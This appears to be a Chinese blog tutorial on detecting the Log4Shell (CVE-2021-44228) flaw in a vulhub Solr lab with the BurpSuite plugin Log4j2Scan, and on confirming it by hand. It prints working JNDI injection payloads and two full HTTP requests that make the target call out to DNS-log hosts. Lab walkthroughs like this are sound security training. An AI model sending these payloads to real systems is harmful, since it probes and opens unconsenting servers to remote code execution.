BurpSuite 插件 Log4j2Scan 使用和手动验证

文章目录

  • [1. 靶场简介](#1. 靶场简介)
  • [2. 手动注入](#2. 手动注入)
  • [3. BurpSuite 插件 Log4j2Scan](#3. BurpSuite 插件 Log4j2Scan)
    • [3.1 官方信息](#3.1 官方信息)
    • [3.2 使用步骤](#3.2 使用步骤)
    • [3.3 手工验证](#3.3 手工验证)

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

1. 靶场简介

https://github.com/vulhub/vulhub

如下图,vulhub 提供了 2 个 log4j 组件相关的靶场,分别是 CVE-2017-5645 和 CVE-2021-44228 版本的。

CVE-2017-5645 在这个靶场中是 TCP 请求触发的,本文针对 log4j2 的 CVE-2021-44228 漏洞用插件演示攻击。

访问 http://{目标IP}:8983/solr/#/ 进入如下页面:

2. 手动注入

官方已经提供详细步骤,不再赘述。

3. BurpSuite 插件 Log4j2Scan

3.1 官方信息

官方仓库:https://github.com/whwlsfb/Log4j2Scan

下载地址:https://github.com/whwlsfb/Log4j2Scan/releases/tag/dev-20230804T025448

3.2 使用步骤

通过 ceye.io 注册,获取个人的 identifier 和 API Token。

在插件中同步配置并启用。

代理访问:http://靶机IP:8983,插件自动扫描检测该漏洞,可以看到2个路径均存在 log4j2 的注入漏洞。

URL 参数 _ 存在 Log4j2 远程代码执行(RCE)漏洞,检测发送的请求中包含了 JNDI 注入的 payload:${jndi:ldap://1771219537907pnhtg.xxx.ceye.io/ziKO}

3.3 手工验证

使用 burpsuite 自带的 Collaborator 模块生成服务地址,接收 dns 信息。

构造/solr/admin/info/system请求,在_参数后面添加 payload:${jndi:ldap://do5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com/test},编码后如下:

shell 复制代码
GET /solr/admin/info/system?wt=json&_=%24%7bjndi%3aldap%3a%2f%2fdo5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com%2ftest%7d HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

burpsuite 也可以接收到 dnslog 。

请求/solr/admin/cores也同样可以构造 payload,请求也是成功的。

shell 复制代码
GET /solr/admin/cores?_=%24%7bjndi%3aldap%3a%2f%2fx1z0mmhkcln1ka3w4vd4ybymjdp4d61v.oastify.com%2ftest%7d&indexInfo=false&wt=json HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

PS:vulhub 这个靶场在 log4j2 发送多次 dns 请求时,有时可能由于网络或缓存原因会接收不到 DNS 请求;可以变化下 payload 或者通过命令重启下靶场即可

shell 复制代码
docker compose restart

同类型的 BurpSuite 插件可以参考:FastjsonScan

相关推荐
Meta Luo13 小时前
页面改版后自动化用例大量失败,应该怎么维护?
运维·功能测试·测试工具·自动化
汤姆宝库20 小时前
推理时计算深拆:思维链、验证搜索与测试时Scaling
log4j
释槐鸟~1 天前
还不知道RIDE工具怎么装吗
测试工具·自动化
有技巧搬砖2 天前
为什么锂电池组的电池老化测试很重要?
测试工具·锂电池·电池老化
蒲公英内测分发2 天前
智能手表卖出去后,包装、说明书和官网里的 App 下载入口怎么统一?
前端·人工智能·测试工具·智能家居·智能硬件·智能手表
蒲公英内测分发2 天前
智能手环出海测试,海外合作方分散在不同国家,Android 测试包怎么持续分发和更新?
android·前端·人工智能·测试工具·智能手表
无语的小歪歪2 天前
ATF 智测 1.0
python·测试工具·集成测试
SHENGWEI胜为3 天前
交换机端口显示正常,终端却获取不到 IP 地址?从 DHCP 流程定位故障
服务器·网络·测试工具·缓存·通信工程
xie881018023 天前
长表格跨页重复表头:排版上的做法
测试工具
老孟说禅3 天前
测试工具示波器的使用
测试工具